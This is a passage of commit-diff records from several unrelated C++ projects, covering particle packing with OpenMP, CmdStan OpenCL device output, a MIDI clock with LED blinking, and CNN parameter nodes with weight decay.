\/\/ Get the ijk extent\r\n  \/\/ Third argument \"floors\" the ijk indexes (lower left corner) if true\r\n  \/\/ \"ceils\" the ijk indexes (upper right corner) if false\r\n  packer->Pos2IDX(bb->p1, p1, true);\r\n  packer->Pos2IDX(bb->p2, p2, false);\r\n\r\n  std::cout << \"Mapping a shape...\" << std::flush;\r\n\r\n  if(dim>2)\r\n  {\r\n    #pragma omp parallel for schedule(static)\r\n    for(long k=p1[2]; k<p2[2]; k++){\r\n      double thisPos[3];\r\n      for(long j=p1[1]; j<p2[1]; j++){\r\n        for(long i=p1[0]; i<p2[0]; i++){\r\n          packer->IDX2Pos(i,j,k,thisPos);\r\n          if(shape->IsInside(thisPos)){\r\n            state[ID(i,j,k)] = shape->state;\r\n            pos[DimID(0,i,j,k)] = thisPos[0];\r\n            pos[DimID(1,i,j,k)] = thisPos[1];\r\n            if(dim>2) pos[DimID(2,i,j,k)] = thisPos[2];\r\n          }\r\n        }\r\n      }\r\n    }\r\n  } else {\r\n    for(long k=p1[2]; k<p2[2]; k++){\r\n      #pragma omp parallel for schedule(static)\r\n      for(long j=p1[1]; j<p2[1]; j++){\r\n        double thisPos[3];\r\n        for(long i=p1[0]; i<p2[0]; i++){\r\n          packer->IDX2Pos(i,j,k,thisPos);\r\n          if(shape->IsInside(thisPos)){\r\n            state[ID(i,j,k)] = shape->state;\r\n            pos[DimID(0,i,j,k)] = thisPos[0];\r\n            pos[DimID(1,i,j,k)] = thisPos[1];\r\n            if(dim>2) pos[DimID(2,i,j,k)] = thisPos[2];\r\n          }\r\n        }\r\n      }\r\n    }\r\n  }\r\n    std::cout << \" complete\" << std::endl;\r\n}\r\n\r\nlong StructuredPack::ComputeNumParticles(){\r\n  if(numParticles != 0) return numParticles;\r\n\r\n  long n = 0;\r\n  long totalIJK = len[0]*len[1]*len[2];\r\n  for(long i=0;i<totalIJK;i++){\r\n    if(state[i]!=0) n++;\r\n  }\r\n\r\n  return n;\r\n}\r\nlong StructuredPack::getNumParticles()\r\n{\r\n  return numParticles;\r\n}\r\ndouble* StructuredPack::CreatePositions(){\r\n  double *positions = new double[numParticles*3];\r\n\r\n  long totalIJK = len[0]*len[1]*len[2];\r\n  long particle = 0;\r\n\r\n  for(long i=0;i<totalIJK;i++){\r\n    if(state[i]!=0){\r\n      long thisIDX = i*dim;\r\n      positions[particle] = pos[thisIDX];\r\n      positions[particle+1] = pos[thisIDX+1];\r\n      if(dim>2)\r\n      {\r\n        positions[particle+2] = pos[thisIDX+2];\r\n      } else {\r\n        positions[particle+2] = 0.0;\r\n      }\r\n      particle+=3;\r\n    }\r\n  }\r\n\r\n  return positions;\r\n}\r\n\r\nint* StructuredPack::CreateStates()\r\n{\r\n  int *states = new int[numParticles];\r\n\r\n  long totalIJK = len[0]*len[1]*len[2];\r\n  long particle = 0;\r\n  for(long i=0;i<totalIJK;i++){\r\n    if(state[i]!=0){\r\n      states[particle] = state[i];\r\n      particle++;\r\n    }\r\n  }\r\n\r\n  return states;\r\n}\r\n\r\n\r\nint StructuredPack::GetDim()\r\n{\r\n  return dim;\r\n}\r\n<commit_msg>+ Fixed a potential bug in 2D<commit_after>#include <iostream>\r\n#include <omp.h>\r\n\r\n#include \"structuredPack.h\"\r\n#include \"packer.h\"\r\n#include \"..\/boundingBox.h\"\r\n#include \"..\/shape.h\"\r\n\r\n\r\nStructuredPack::StructuredPack(Packer *packer)\r\n{\r\n  std::cout << \"Initializing StructuredPack...\" << std::flush;\r\n  this->packer = packer;\r\n  this->len = packer->len;\r\n\r\n  dim = 3;\r\n  if(len[2] < 2) dim = 2;\r\n\r\n  state = new int[len[0]*len[1]*len[2]];\r\n  pos = new double[len[0]*len[1]*len[2]*dim];\r\n\r\n  if(dim>2)\r\n  {\r\n    #pragma omp parallel for schedule(static)\r\n    for(long k=0; k<len[2]; k++){\r\n      for(long j=0; j<len[1]; j++){\r\n        for(long i=0; i<len[0]; i++){\r\n          state[ID(i,j,k)] = 0;\r\n        }\r\n      }\r\n    }\r\n  } else {\r\n    for(long k=0; k<len[2]; k++){\r\n      #pragma omp parallel for schedule(static)\r\n      for(long j=0; j<len[1]; j++){\r\n        for(long i=0; i<len[0]; i++){\r\n          state[ID(i,j,k)] = 0;\r\n        }\r\n      }\r\n    }\r\n  }\r\n\r\n  numParticles = 0;\r\n\r\n  positions = NULL;\r\n  states = NULL;\r\n\r\n  std::cout << \" complete\" << std::endl;\r\n}\r\n\r\nStructuredPack::~StructuredPack()\r\n{\r\n  delete [] state;\r\n  delete [] pos;\r\n  if(!positions) delete [] positions;\r\n  if(!states) delete [] states;\r\n}\r\n\r\nlong* StructuredPack::GetIntLength()\r\n{\r\n  return len;\r\n}\r\n\r\nint* StructuredPack::GetState()\r\n{\r\n  return state;\r\n}\r\n\r\ndouble* StructuredPack::GetPos()\r\n{\r\n  return pos;\r\n}\r\n\r\nlong StructuredPack::ID(long i, long j, long k)\r\n{\r\n  return i+j*len[0]+k*len[0]*len[1];\r\n}\r\n\r\nlong StructuredPack::DimID(long thisDim,long i, long j, long k)\r\n{\r\n  return thisDim+i*dim+j*dim*len[0]+k*dim*len[0]*len[1];\r\n}\r\n\r\nvoid StructuredPack::Process()\r\n{\r\n  MapShapes();\r\n  numParticles = ComputeNumParticles();\r\n  positions = CreatePositions();\r\n  states = CreateStates();\r\n\r\n  std::cout << \"Processing StructuredPack...complete (\" << numParticles << \" particles)\" << std::endl;;\r\n}\r\n\r\nvoid StructuredPack::MapShape(Shape *shape)\r\n{\r\n  BoundingBox *bb = shape->boundingBox;\r\n\r\n  \/\/ Convert to StructuredPack indexes\r\n  long *p1 = new long[3];\r\n  long *p2 = new long[3];\r\n\r\n  \/\/ Get the ijk extent\r\n  \/\/ Third argument \"floors\" the ijk indexes (lower left corner) if true\r\n  \/\/ \"ceils\" the ijk indexes (upper right corner) if false\r\n  packer->Pos2IDX(bb->p1, p1, true);\r\n  packer->Pos2IDX(bb->p2, p2, false);\r\n\r\n  std::cout << \"Mapping a shape...\" << std::flush;\r\n\r\n  if(dim>2)\r\n  {\r\n    #pragma omp parallel for schedule(static)\r\n    for(long k=p1[2]; k<p2[2]; k++){\r\n      double thisPos[3];\r\n      for(long j=p1[1]; j<p2[1]; j++){\r\n        for(long i=p1[0]; i<p2[0]; i++){\r\n          packer->IDX2Pos(i,j,k,thisPos);\r\n          if(shape->IsInside(thisPos)){\r\n            state[ID(i,j,k)] = shape->state;\r\n            pos[DimID(0,i,j,k)] = thisPos[0];\r\n            pos[DimID(1,i,j,k)] = thisPos[1];\r\n            if(dim>2) pos[DimID(2,i,j,k)] = thisPos[2];\r\n          }\r\n        }\r\n      }\r\n    }\r\n  } else {\r\n    long k = 0;\r\n    #pragma omp parallel for schedule(static)\r\n    for(long j=p1[1]; j<p2[1]; j++){\r\n      double thisPos[3];\r\n      for(long i=p1[0]; i<p2[0]; i++){\r\n        packer->IDX2Pos(i,j,k,thisPos);\r\n        if(shape->IsInside(thisPos)){\r\n          state[ID(i,j,k)] = shape->state;\r\n          pos[DimID(0,i,j,k)] = thisPos[0];\r\n          pos[DimID(1,i,j,k)] = thisPos[1];\r\n          if(dim>2) pos[DimID(2,i,j,k)] = thisPos[2];\r\n        }\r\n      }\r\n    }\r\n  }\r\n    std::cout << \" complete\" << std::endl;\r\n}\r\n\r\nlong StructuredPack::ComputeNumParticles(){\r\n  if(numParticles != 0) return numParticles;\r\n\r\n  long n = 0;\r\n  long totalIJK = len[0]*len[1]*len[2];\r\n  for(long i=0;i<totalIJK;i++){\r\n    if(state[i]!=0) n++;\r\n  }\r\n\r\n  return n;\r\n}\r\nlong StructuredPack::getNumParticles()\r\n{\r\n  return numParticles;\r\n}\r\ndouble* StructuredPack::CreatePositions(){\r\n  double *positions = new double[numParticles*3];\r\n\r\n  long totalIJK = len[0]*len[1]*len[2];\r\n  long particle = 0;\r\n\r\n  for(long i=0;i<totalIJK;i++){\r\n    if(state[i]!=0){\r\n      long thisIDX = i*dim;\r\n      positions[particle] = pos[thisIDX];\r\n      positions[particle+1] = pos[thisIDX+1];\r\n      if(dim>2)\r\n      {\r\n        positions[particle+2] = pos[thisIDX+2];\r\n      } else {\r\n        positions[particle+2] = 0.0;\r\n      }\r\n      particle+=3;\r\n    }\r\n  }\r\n\r\n  return positions;\r\n}\r\n\r\nint* StructuredPack::CreateStates()\r\n{\r\n  int *states = new int[numParticles];\r\n\r\n  long totalIJK = len[0]*len[1]*len[2];\r\n  long particle = 0;\r\n  for(long i=0;i<totalIJK;i++){\r\n    if(state[i]!=0){\r\n      states[particle] = state[i];\r\n      particle++;\r\n    }\r\n  }\r\n\r\n  return states;\r\n}\r\n\r\n\r\nint StructuredPack::GetDim()\r\n{\r\n  return dim;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>#ifndef CMDSTAN_WRITE_OPENCL_DEVICE_HPP\n#define CMDSTAN_WRITE_OPENCL_DEVICE_HPP\n\n#include <stan\/callbacks\/writer.hpp>\n#ifdef STAN_OPENCL\n#include <stan\/math\/opencl\/opencl_context.hpp>\n#endif\n#include <string>\n\nnamespace cmdstan {\n\n  void write_opencl_device(stan::callbacks::writer& writer) {\n#ifdef STAN_OPENCL    \n    if((stan::math::opencl_context.platform().size() > 0) && (stan::math::opencl_context.device().size() > 0)) {\n        std::stringstream msg_opencl_platform;\n        msg_opencl_platform << \"opencl_platform = \" << stan::math::opencl_context.platform()[0].getInfo<CL_PLATFORM_NAME>();\n        writer(msg_opencl_platform.str());\n        std::stringstream msg_opencl_device;\n        msg_opencl_device << \"opencl_platform = \" << stan::math::opencl_context.device()[0].getInfo<CL_DEVICE_NAME>();\n        writer(msg_opencl_device.str());\n    }\n#endif\n  }\n\n}\n#endif\n<commit_msg>the second opencl_platform should be opencl_device (#860)<commit_after>#ifndef CMDSTAN_WRITE_OPENCL_DEVICE_HPP\n#define CMDSTAN_WRITE_OPENCL_DEVICE_HPP\n\n#include <stan\/callbacks\/writer.hpp>\n#ifdef STAN_OPENCL\n#include <stan\/math\/opencl\/opencl_context.hpp>\n#endif\n#include <string>\n\nnamespace cmdstan {\n\n  void write_opencl_device(stan::callbacks::writer& writer) {\n#ifdef STAN_OPENCL    \n    if((stan::math::opencl_context.platform().size() > 0) && (stan::math::opencl_context.device().size() > 0)) {\n        std::stringstream msg_opencl_platform;\n        msg_opencl_platform << \"opencl_platform = \" << stan::math::opencl_context.platform()[0].getInfo<CL_PLATFORM_NAME>();\n        writer(msg_opencl_platform.str());\n        std::stringstream msg_opencl_device;\n        msg_opencl_device << \"opencl_device = \" << stan::math::opencl_context.device()[0].getInfo<CL_DEVICE_NAME>();\n        writer(msg_opencl_device.str());\n    }\n#endif\n  }\n\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include \"MidiClock.h\"\n#include \"midi-common.hh\"\n#include \"helpers.h\"\n\/\/ #include \"MidiUart.h\"\n\n\/\/ #define DEBUG_MIDI_CLOCK 0\n\nMidiClockClass::MidiClockClass() {\n  init();\n  mode = OFF;\n  setTempo(120);\n  transmit = false;\n}\n\nvoid MidiClockClass::init() {\n  state = PAUSED;\n  counter = 10000;\n  rx_clock = rx_last_clock = 0;\n  outdiv96th_counter = 0;\n  div96th_counter = indiv96th_counter = 0;\n  div32th_counter = indiv32th_counter = 0;\n  div16th_counter = indiv16th_counter = 0;\n  mod6_counter = inmod6_counter = 0;\n  pll_x = 200;\n  counter = 10000;\n  isInit = false;\n}\n\n\nuint16_t midi_clock_diff(uint16_t old_clock, uint16_t new_clock) {\n  if (new_clock >= old_clock)\n    return new_clock - old_clock;\n  else\n    return new_clock + (65535 - old_clock);\n}\n\nvoid MidiClockClass::handleMidiStart() {\n  if (transmit)\n    MidiUart.sendRaw(MIDI_START);\n  init();\n  state = STARTING;\n  outdiv96th_counter = 0;\n  counter = 10000;\n}\n\nvoid MidiClockClass::handleMidiStop() {\n  state = PAUSED;\n  if (transmit)\n    MidiUart.sendRaw(MIDI_STOP);\n  \n}\n\nvoid MidiClockClass::start() {\n  if (mode == INTERNAL_MIDI) {\n    init();\n    state = STARTED;\n    if (transmit)\n      MidiUart.sendRaw(MIDI_START);\n  }\n}\n\nvoid MidiClockClass::stop() {\n  if (mode == INTERNAL_MIDI) {\n    state = PAUSED;\n    if (transmit)\n      MidiUart.sendRaw(MIDI_STOP);\n  }\n}\n\nvoid MidiClockClass::pause() {\n  if (mode == INTERNAL_MIDI) {\n    if (state == PAUSED) {\n      start();\n    } else {\n      stop();\n    }\n  }\n}\n\nvoid MidiClockClass::setTempo(uint16_t _tempo) {\n  USE_LOCK();\n  SET_LOCK();\n  tempo = _tempo;\n  \/\/  interval = 62500 \/ (tempo * 24 \/ 60);\n  interval = (uint32_t)((uint32_t)156250 \/ tempo) - 16;\n  CLEAR_LOCK();\n}\n\nvoid MidiClockClass::handleSongPositionPtr(uint8_t *msg) {\n  if (mode == EXTERNAL || mode == EXTERNAL_UART2) {\n    uint16_t ptr = (msg[1] & 0x7F) | ((msg[2] & 0x7F) << 7);\n    USE_LOCK();\n    SET_LOCK();\n    indiv96th_counter = ptr;\n    indiv32th_counter = ptr \/ 3;\n    indiv16th_counter = ptr \/ 6;\n    inmod6_counter = indiv96th_counter % 6;\n    CLEAR_LOCK();\n  }\n}\n\nvoid MidiClockClass::setSongPositionPtr(uint16_t pos) {\n  div96th_counter = pos;\n  div32th_counter = pos \/ 3;\n  div16th_counter = pos \/ 6;\n  mod6_counter = pos % 6;\n  if (transmit) {\n    uint8_t msg[3] = { MIDI_SONG_POSITION_PTR, 0, 0 };\n    msg[1] = pos & 0x7F;\n    msg[2] = (pos >> 7) & 0x7F;\n    MidiUart.sendRaw(msg, 3);\n  }\n}\n\nvoid MidiClockClass::updateClockInterval() {\n}\n\n\/* in interrupt on receiving 0xF8 *\/\nvoid MidiClockClass::handleClock() {\n  uint8_t _mod6_counter = mod6_counter;\n\n  if (transmit)\n    MidiUart.putc_immediate(0xF8);\n  \n  if (mod6_counter == 5) {\n    div16th_counter++;\n    div32th_counter++;\n  }\n  \n  if (mod6_counter == 2) {\n    div32th_counter++;\n  }\n  \n  div96th_counter++;\n  mod6_counter++;\n  if (mod6_counter == 6)\n    mod6_counter = 0;\n\n  if (state == STARTING && div96th_counter >= 1) {\n    state = STARTED;\n  }\n\n  static bool inCallback = false;\n  if (inCallback) {\n    return;\n  } else {\n    inCallback = true;\n  }\n\n  sei();\n\n  \/\/    on96Callbacks.call();\n  \n  if (_mod6_counter == 0) {\n    on16Callbacks.call(div16th_counter);\n    on32Callbacks.call(div32th_counter);\n  }\n  if (_mod6_counter == 3) {\n    on32Callbacks.call(div32th_counter);\n  }\n  \n  inCallback = false;\n}\n\n\/* in interrupt on timer *\/\nvoid MidiClockClass::handleTimerInt()  {\n}\n    \nMidiClockClass MidiClock;\n<commit_msg>make led blink for clock<commit_after>#include \"MidiClock.h\"\n#include \"midi-common.hh\"\n#include \"helpers.h\"\n\/\/ #include \"MidiUart.h\"\n\n\/\/ #define DEBUG_MIDI_CLOCK 0\n\nMidiClockClass::MidiClockClass() {\n  init();\n  mode = OFF;\n  setTempo(120);\n  transmit = false;\n}\n\nvoid MidiClockClass::init() {\n  state = PAUSED;\n  counter = 10000;\n  rx_clock = rx_last_clock = 0;\n  outdiv96th_counter = 0;\n  div96th_counter = indiv96th_counter = 0;\n  div32th_counter = indiv32th_counter = 0;\n  div16th_counter = indiv16th_counter = 0;\n  mod6_counter = inmod6_counter = 0;\n  pll_x = 200;\n  counter = 10000;\n  isInit = false;\n}\n\n\nuint16_t midi_clock_diff(uint16_t old_clock, uint16_t new_clock) {\n  if (new_clock >= old_clock)\n    return new_clock - old_clock;\n  else\n    return new_clock + (65535 - old_clock);\n}\n\nvoid MidiClockClass::handleMidiStart() {\n  if (transmit)\n    MidiUart.sendRaw(MIDI_START);\n  init();\n  state = STARTING;\n  outdiv96th_counter = 0;\n  counter = 10000;\n}\n\nvoid MidiClockClass::handleMidiStop() {\n  state = PAUSED;\n  if (transmit)\n    MidiUart.sendRaw(MIDI_STOP);\n  \n}\n\nvoid MidiClockClass::start() {\n  if (mode == INTERNAL_MIDI) {\n    init();\n    state = STARTED;\n    if (transmit)\n      MidiUart.sendRaw(MIDI_START);\n  }\n}\n\nvoid MidiClockClass::stop() {\n  if (mode == INTERNAL_MIDI) {\n    state = PAUSED;\n    if (transmit)\n      MidiUart.sendRaw(MIDI_STOP);\n  }\n}\n\nvoid MidiClockClass::pause() {\n  if (mode == INTERNAL_MIDI) {\n    if (state == PAUSED) {\n      start();\n    } else {\n      stop();\n    }\n  }\n}\n\nvoid MidiClockClass::setTempo(uint16_t _tempo) {\n  USE_LOCK();\n  SET_LOCK();\n  tempo = _tempo;\n  \/\/  interval = 62500 \/ (tempo * 24 \/ 60);\n  interval = (uint32_t)((uint32_t)156250 \/ tempo) - 16;\n  CLEAR_LOCK();\n}\n\nvoid MidiClockClass::handleSongPositionPtr(uint8_t *msg) {\n  if (mode == EXTERNAL || mode == EXTERNAL_UART2) {\n    uint16_t ptr = (msg[1] & 0x7F) | ((msg[2] & 0x7F) << 7);\n    USE_LOCK();\n    SET_LOCK();\n    indiv96th_counter = ptr;\n    indiv32th_counter = ptr \/ 3;\n    indiv16th_counter = ptr \/ 6;\n    inmod6_counter = indiv96th_counter % 6;\n    CLEAR_LOCK();\n  }\n}\n\nvoid MidiClockClass::setSongPositionPtr(uint16_t pos) {\n  div96th_counter = pos;\n  div32th_counter = pos \/ 3;\n  div16th_counter = pos \/ 6;\n  mod6_counter = pos % 6;\n  if (transmit) {\n    uint8_t msg[3] = { MIDI_SONG_POSITION_PTR, 0, 0 };\n    msg[1] = pos & 0x7F;\n    msg[2] = (pos >> 7) & 0x7F;\n    MidiUart.sendRaw(msg, 3);\n  }\n}\n\nvoid MidiClockClass::updateClockInterval() {\n}\n\n\/* in interrupt on receiving 0xF8 *\/\nvoid MidiClockClass::handleClock() {\n  uint8_t _mod6_counter = mod6_counter;\n\n  if (transmit)\n    MidiUart.putc_immediate(0xF8);\n  \n  if (mod6_counter == 5) {\n    div16th_counter++;\n    div32th_counter++;\n  }\n\n  \n  if (div16th_counter % 4 == 0) {\n    setLed();\n  } else {\n    clearLed();\n  }\n\n  \n  if (mod6_counter == 2) {\n    div32th_counter++;\n  }\n  \n  div96th_counter++;\n  mod6_counter++;\n  if (mod6_counter == 6)\n    mod6_counter = 0;\n\n  if (state == STARTING && div96th_counter >= 1) {\n    state = STARTED;\n  }\n\n  static bool inCallback = false;\n  if (inCallback) {\n    return;\n  } else {\n    inCallback = true;\n  }\n\n  sei();\n\n  \/\/    on96Callbacks.call();\n  \n  if (_mod6_counter == 0) {\n    on16Callbacks.call(div16th_counter);\n    on32Callbacks.call(div32th_counter);\n  }\n  if (_mod6_counter == 3) {\n    on32Callbacks.call(div32th_counter);\n  }\n  \n  inCallback = false;\n}\n\n\/* in interrupt on timer *\/\nvoid MidiClockClass::handleTimerInt()  {\n}\n    \nMidiClockClass MidiClock;\n<|endoftext|>"}
{"text":"<commit_before>#include \"cnn\/param-nodes.h\"\n#include \"cnn\/tensor.h\"\n#include \"cnn\/weight-decay.h\"\n\n#include <sstream>\n\nusing namespace std;\n\nnamespace cnn {\n\nstring ConstParameterNode::as_string(const vector<string>& arg_names) const {\n  ostringstream s;\n  s << \"const_parameters(\" << dim << \", \" << params << ')';\n  return s.str();\n}\n\nDim ConstParameterNode::dim_forward(const vector<Dim>& xs) const {\n  assert(xs.size() == 0);\n  return dim;\n}\n\nvoid ConstParameterNode::forward_impl(const vector<const Tensor*>& xs, Tensor& fx) const {\n  assert(xs.size() == 0);\n  *fx = *params->values * global_weight_decay.CurrentWeightDecay();\n}\n\nvoid ConstParameterNode::backward_impl(const vector<const Tensor*>& xs,\n                    const Tensor& fx,\n                    const Tensor& dEdf,\n                               unsigned i,\n                               Tensor& dEdxi) const {\n  cerr << \"called backward() on arity 0 node: i = \" << i << endl;\n  abort();\n}\n\nstring ParameterNode::as_string(const vector<string>& arg_names) const {\n  ostringstream s;\n  s << \"parameters(\" << dim << \", \" << params << ')';\n  return s.str();\n}\n\nDim ParameterNode::dim_forward(const vector<Dim>& xs) const {\n  assert(xs.size() == 0);\n  return dim;\n}\n\nvoid ParameterNode::forward_impl(const vector<const Tensor*>& xs, Tensor& fx) const {\n  assert(xs.size() == 0);\n\/\/ TODO\n\/\/  if (params->not_regularized) {\n\/\/    fx.v = params->values.v;\n\/\/    return;\n\/\/  }\n#if HAVE_CUDA\n  fx.v = params->values.v;\n  cerr << \"ParameterNode::forward_impl - implement * global_weight_scale for CUDA\\n\";\n#else\n  *fx = *params->values * global_weight_decay.CurrentWeightDecay();\n#endif\n}\n\nvoid ParameterNode::backward_impl(const vector<const Tensor*>& xs,\n                                  const Tensor& fx,\n                                  const Tensor& dEdf,\n                                  unsigned i,\n                                  Tensor& dEdxi) const {\n  cerr << \"called backward() on arity 0 node: i = \" << i << endl;\n  abort();\n}\n\nvoid ParameterNode::accumulate_grad(const Tensor& g) {\n  params->accumulate_grad(g);\n}\n\nstring InputNode::as_string(const vector<string>& arg_names) const {\n  ostringstream s;\n  s << \"constant(\" << dim << ')';\n  return s.str();\n}\n\nDim InputNode::dim_forward(const vector<Dim>& xs) const {\n  return dim;\n}\n\nvoid InputNode::forward_impl(const vector<const Tensor*>& xs, Tensor& fx) const {\n  assert(xs.size() == 0);\n#if HAVE_CUDA\n  cudaMemcpyAsync(fx.v, &pdata->front(), dim.size() * sizeof(float), cudaMemcpyHostToDevice);\n#else\n  \/\/ TODO memcpy is only necessary if pdata->front() points to an unaligned location\n  \/\/ need to compute this value\n  bool is_input_address_aligned = false;\n  if (!is_input_address_aligned) {\n    memcpy(fx.v, &pdata->front(), dim.size() * sizeof(float));\n  } else {\n    fx.v = const_cast<float*>(&pdata->front());\n  }\n#endif\n}\n\nvoid InputNode::backward_impl(const vector<const Tensor*>& xs,\n                    const Tensor& fx,\n                    const Tensor& dEdf,\n                               unsigned i,\n                               Tensor& dEdxi) const {\n  cerr << \"called backward() on arity 0 node\\n\";\n  abort();\n}\n\nstring ScalarInputNode::as_string(const vector<string>& arg_names) const {\n  ostringstream s;\n  s << \"scalar_constant(\" << pdata << ')';\n  return s.str();\n}\n\nDim ScalarInputNode::dim_forward(const vector<Dim>& xs) const {\n  return Dim({1});\n}\n\nvoid ScalarInputNode::forward_impl(const vector<const Tensor*>& xs, Tensor& fx) const {\n  assert(xs.size() == 0);\n#if HAVE_CUDA\n  cudaMemcpyAsync(fx.v, pdata, 1 * sizeof(float), cudaMemcpyHostToDevice);\n#else\n  fx.v[0] = *pdata;\n#endif\n}\n\nvoid ScalarInputNode::backward_impl(const vector<const Tensor*>& xs,\n                               const Tensor& fx,\n                               const Tensor& dEdf,\n                               unsigned i,\n                               Tensor& dEdxi) const {\n  cerr << \"called backward() on arity 0 node\\n\";\n  abort();\n}\n\nstring LookupNode::as_string(const vector<string>& arg_names) const {\n  ostringstream s;\n  s << \"lookup_parameters(|x|=\" << params->values.size() << \" --> \" << dim << ')';\n  return s.str();\n}\n\nDim LookupNode::dim_forward(const vector<Dim>& xs) const {\n  return dim;\n}\n\nvoid LookupNode::forward_impl(const vector<const Tensor*>& xs, Tensor& fx) const {\n  assert(xs.size() == 0);\n  if(pindex) {\n    assert(*pindex < params->values.size());\n    assert (fx.d.batch_elems() == 1);\n    *fx = *params->values[*pindex] * global_weight_decay.CurrentWeightDecay();\n  } else {\n    assert (pindices);\n    assert (fx.d.batch_elems() == pindices->size());\n    for (unsigned b = 0; b < pindices->size(); ++b) {\n      unsigned i = pindices->at(b);\n      assert (i < params->values.size());\n      float* v = fx.v + fx.d.batch_size() * (b % fx.d.batch_elems());\n#if HAVE_CUDA\n      cudaMemcpyAsync(v, params->values[i].v, fx.d.batch_size() * sizeof(float), cudaMemcpyDeviceToDevice);\n#else\n      memcpy(v, params->values[i].v, fx.d.batch_size() * sizeof(float));\n#endif\n      cerr << \"TODO: implement * global_weight_scale\\n\";\n    }\n  }\n}\n\nvoid LookupNode::backward_impl(const vector<const Tensor*>& xs,\n                            const Tensor& fx,\n                            const Tensor& dEdf,\n                            unsigned i,\n                            Tensor& dEdxi) const {\n  cerr << \"called backward() on arity 0 node\\n\";\n  abort();\n}\n\nvoid LookupNode::accumulate_grad(const Tensor& g) {\n  if(pindex) {\n    params->accumulate_grad(*pindex, g);\n  } else {\n    assert (pindices);\n    const vector<Tensor>& gb = g.batch_elems();\n    for (unsigned b = 0; b < pindices->size(); ++b) {\n      unsigned i = pindices->at(b);\n      assert (i < params->values.size());\n      params->accumulate_grad(i, gb[b]);\n    }\n  }\n}\n\n} \/\/ namespace cnn\n<commit_msg>fix batch lookup with weight decay<commit_after>#include \"cnn\/param-nodes.h\"\n#include \"cnn\/tensor.h\"\n#include \"cnn\/weight-decay.h\"\n\n#include <sstream>\n\nusing namespace std;\n\nnamespace cnn {\n\nstring ConstParameterNode::as_string(const vector<string>& arg_names) const {\n  ostringstream s;\n  s << \"const_parameters(\" << dim << \", \" << params << ')';\n  return s.str();\n}\n\nDim ConstParameterNode::dim_forward(const vector<Dim>& xs) const {\n  assert(xs.size() == 0);\n  return dim;\n}\n\nvoid ConstParameterNode::forward_impl(const vector<const Tensor*>& xs, Tensor& fx) const {\n  assert(xs.size() == 0);\n  *fx = *params->values * global_weight_decay.CurrentWeightDecay();\n}\n\nvoid ConstParameterNode::backward_impl(const vector<const Tensor*>& xs,\n                    const Tensor& fx,\n                    const Tensor& dEdf,\n                               unsigned i,\n                               Tensor& dEdxi) const {\n  cerr << \"called backward() on arity 0 node: i = \" << i << endl;\n  abort();\n}\n\nstring ParameterNode::as_string(const vector<string>& arg_names) const {\n  ostringstream s;\n  s << \"parameters(\" << dim << \", \" << params << ')';\n  return s.str();\n}\n\nDim ParameterNode::dim_forward(const vector<Dim>& xs) const {\n  assert(xs.size() == 0);\n  return dim;\n}\n\nvoid ParameterNode::forward_impl(const vector<const Tensor*>& xs, Tensor& fx) const {\n  assert(xs.size() == 0);\n\/\/ TODO\n\/\/  if (params->not_regularized) {\n\/\/    fx.v = params->values.v;\n\/\/    return;\n\/\/  }\n#if HAVE_CUDA\n  fx.v = params->values.v;\n  cerr << \"ParameterNode::forward_impl - implement * global_weight_scale for CUDA\\n\";\n#else\n  *fx = *params->values * global_weight_decay.CurrentWeightDecay();\n#endif\n}\n\nvoid ParameterNode::backward_impl(const vector<const Tensor*>& xs,\n                                  const Tensor& fx,\n                                  const Tensor& dEdf,\n                                  unsigned i,\n                                  Tensor& dEdxi) const {\n  cerr << \"called backward() on arity 0 node: i = \" << i << endl;\n  abort();\n}\n\nvoid ParameterNode::accumulate_grad(const Tensor& g) {\n  params->accumulate_grad(g);\n}\n\nstring InputNode::as_string(const vector<string>& arg_names) const {\n  ostringstream s;\n  s << \"constant(\" << dim << ')';\n  return s.str();\n}\n\nDim InputNode::dim_forward(const vector<Dim>& xs) const {\n  return dim;\n}\n\nvoid InputNode::forward_impl(const vector<const Tensor*>& xs, Tensor& fx) const {\n  assert(xs.size() == 0);\n#if HAVE_CUDA\n  cudaMemcpyAsync(fx.v, &pdata->front(), dim.size() * sizeof(float), cudaMemcpyHostToDevice);\n#else\n  \/\/ TODO memcpy is only necessary if pdata->front() points to an unaligned location\n  \/\/ need to compute this value\n  bool is_input_address_aligned = false;\n  if (!is_input_address_aligned) {\n    memcpy(fx.v, &pdata->front(), dim.size() * sizeof(float));\n  } else {\n    fx.v = const_cast<float*>(&pdata->front());\n  }\n#endif\n}\n\nvoid InputNode::backward_impl(const vector<const Tensor*>& xs,\n                    const Tensor& fx,\n                    const Tensor& dEdf,\n                               unsigned i,\n                               Tensor& dEdxi) const {\n  cerr << \"called backward() on arity 0 node\\n\";\n  abort();\n}\n\nstring ScalarInputNode::as_string(const vector<string>& arg_names) const {\n  ostringstream s;\n  s << \"scalar_constant(\" << pdata << ')';\n  return s.str();\n}\n\nDim ScalarInputNode::dim_forward(const vector<Dim>& xs) const {\n  return Dim({1});\n}\n\nvoid ScalarInputNode::forward_impl(const vector<const Tensor*>& xs, Tensor& fx) const {\n  assert(xs.size() == 0);\n#if HAVE_CUDA\n  cudaMemcpyAsync(fx.v, pdata, 1 * sizeof(float), cudaMemcpyHostToDevice);\n#else\n  fx.v[0] = *pdata;\n#endif\n}\n\nvoid ScalarInputNode::backward_impl(const vector<const Tensor*>& xs,\n                               const Tensor& fx,\n                               const Tensor& dEdf,\n                               unsigned i,\n                               Tensor& dEdxi) const {\n  cerr << \"called backward() on arity 0 node\\n\";\n  abort();\n}\n\nstring LookupNode::as_string(const vector<string>& arg_names) const {\n  ostringstream s;\n  s << \"lookup_parameters(|x|=\" << params->values.size() << \" --> \" << dim << ')';\n  return s.str();\n}\n\nDim LookupNode::dim_forward(const vector<Dim>& xs) const {\n  return dim;\n}\n\nvoid LookupNode::forward_impl(const vector<const Tensor*>& xs, Tensor& fx) const {\n  assert(xs.size() == 0);\n  if(pindex) {\n    assert(*pindex < params->values.size());\n    assert (fx.d.batch_elems() == 1);\n    fx.vec() = params->values[*pindex].vec() * global_weight_decay.CurrentWeightDecay();\n  } else {\n    assert (pindices);\n    assert (fx.d.batch_elems() == pindices->size());\n    for (unsigned b = 0; b < pindices->size(); ++b) {\n      unsigned i = pindices->at(b);\n      assert (i < params->values.size());\n      float* v = fx.v + fx.d.batch_size() * (b % fx.d.batch_elems());\n#if HAVE_CUDA\n      cudaMemcpyAsync(v, params->values[i].v, fx.d.batch_size() * sizeof(float), cudaMemcpyDeviceToDevice);\n#else\n      \/\/ we should use colwise() instead of memcpy to get rid of the\n      \/\/ extra multiply by global_weight_decay.CurrentWeightDecay()\n      memcpy(v, 